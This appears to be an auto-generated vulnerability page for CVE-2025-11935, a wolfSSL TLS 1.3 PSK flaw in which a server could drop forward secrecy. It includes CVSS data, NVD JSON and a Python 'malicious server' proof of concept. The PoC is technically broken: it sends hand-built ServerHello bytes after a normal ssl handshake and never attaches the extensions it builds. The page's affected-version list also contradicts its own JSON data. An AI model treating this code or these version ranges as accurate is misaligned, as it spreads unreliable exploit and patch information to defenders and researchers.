Security Vulnerability Report
中文
CVE-2025-11935 CVSS 7.5 HIGH

CVE-2025-11935

Published: 2025-11-21 22:16:19
Last Modified: 2025-12-03 18:47:32

Description

With TLS 1.3 pre-shared key (PSK) a malicious or faulty server could ignore the request for PFS (perfect forward secrecy) and the client would continue on with the connection using PSK without PFS. This happened when a server responded to a ClientHello containing psk_dhe_ke without a key_share extension. The re-use of an authenticated PSK connection that on the clients side unexpectedly did not have PFS, reduces the security of the connection.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
wolfSSL < 5.7.0 (with TLS 1.3 PSK enabled)
wolfSSL < 5.6.6 (stable branch)
wolfSSL < 5.5.4 (maintenance branch)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC: Malicious TLS 1.3 Server Bypassing PFS # This PoC demonstrates how a malicious server can bypass PFS requirement import socket import ssl import struct def create_malicious_server(): """ Create a malicious TLS 1.3 server that responds without key_share to bypass PFS requirement on client side. """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.load_cert_chain('server.crt', 'server.key') # Listen for connections server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', 4433)) server_socket.listen(5) while True: client_conn, addr = server_socket.accept() ssl_conn = context.wrap_socket(client_conn, server_side=True) # Malicious behavior: Complete handshake without key_share # This causes wolfSSL clients to use PSK without PFS data = ssl_conn.recv(4096) print(f"Received ClientHello from {addr}") # Send ServerHello WITHOUT key_share extension # This is the key to exploiting CVE-2025-11935 server_hello = build_server_hello_without_keyshare(data) ssl_conn.send(server_hello) ssl_conn.close() def build_server_hello_without_keyshare(client_hello): """ Build ServerHello message that omits key_share extension. This causes wolfSSL to continue with PSK but without PFS. """ # Simplified ServerHello construction # Real implementation requires proper TLS 1.3 message construction server_hello = bytearray() # ServerHello header server_hello.extend([0x02]) # Handshake type: ServerHello server_hello.extend([0x00, 0x00, 0x00]) # Length placeholder # Server version and random server_hello.extend([0x03, 0x03]) # TLS 1.2 (will be negotiated down) server_hello.extend(b'\x00' * 32) # Random # Session ID server_hello.extend([0x00]) # Cipher suite (without key_share in extensions) server_hello.extend([0x13, 0x01]) # TLS_AES_256_GCM_SHA384 # Compression method server_hello.extend([0x00]) # Extensions WITHOUT key_share - THIS IS THE VULNERABILITY extensions = bytearray() # Add psk_extension (empty or minimal) # Omit key_share extension entirely return bytes(server_hello) if __name__ == "__main__": print("Malicious TLS Server for CVE-2025-11935 PoC") print("This server bypasses PFS requirement in TLS 1.3 PSK") create_malicious_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11935", "sourceIdentifier": "[email protected]", "published": "2025-11-21T22:16:18.920", "lastModified": "2025-12-03T18:47:32.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "With TLS 1.3 pre-shared key (PSK) a malicious or faulty server could ignore the request for PFS (perfect forward secrecy) and the client would continue on with the connection using PSK without PFS. This happened when a server responded to a ClientHello containing psk_dhe_ke without a key_share extension. The re-use of an authenticated PSK connection that on the clients side unexpectedly did not have PFS, reduces the security of the connection."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-326"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.8.2", "versionEndExcluding": "5.8.4", "matchCriteriaId": "EB81B784-14DD-4CD0-859A-62D42ADDD7D3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/wolfSSL/wolfssl/pull/9112", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}